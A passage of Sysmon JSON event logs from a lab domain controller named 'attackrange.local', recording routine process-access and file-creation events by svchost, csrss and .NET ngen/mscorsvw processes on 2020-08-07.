12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.182\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010E98C1000}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.182","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010E98C1000}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:01.354\r\nProcessGuid: {90617006-4331-5F2D-0000-0010E98C1000}\r\nProcessId: 812\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\32c-0\\UIAutomationProvider.dll\r\nCreationUtcTime: 2020-08-07 12:04:01.354","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:01.354","ProcessGuid":"{90617006-4331-5F2D-0000-0010E98C1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\32c-0\\UIAutomationProvider.dll","CreationUtcTime":"2020-08-07 12:04:01.354","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.401\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010B3901000}\r\nTargetProcessId: 2956\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.401","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010B3901000}","TargetProcessId":"2956","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010B3901000}\r\nTargetProcessId: 2956\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010B3901000}","TargetProcessId":"2956","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010B3901000}\r\nTargetProcessId: 2956\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010B3901000}","TargetProcessId":"2956","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-001007390F00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-001007390F00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-001007390F00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-001007390F00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-001007390F00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-001007390F00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:01.744\r\nProcessGuid: {90617006-4331-5F2D-0000-001024941000}\r\nProcessId: 4944\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\UIAutomationTypes.dll\r\nCreationUtcTime: 2020-08-07 12:04:01.744","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:01.744","ProcessGuid":"{90617006-4331-5F2D-0000-001024941000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\UIAutomationTypes.dll","CreationUtcTime":"2020-08-07 12:04:01.744","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010F1971000}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 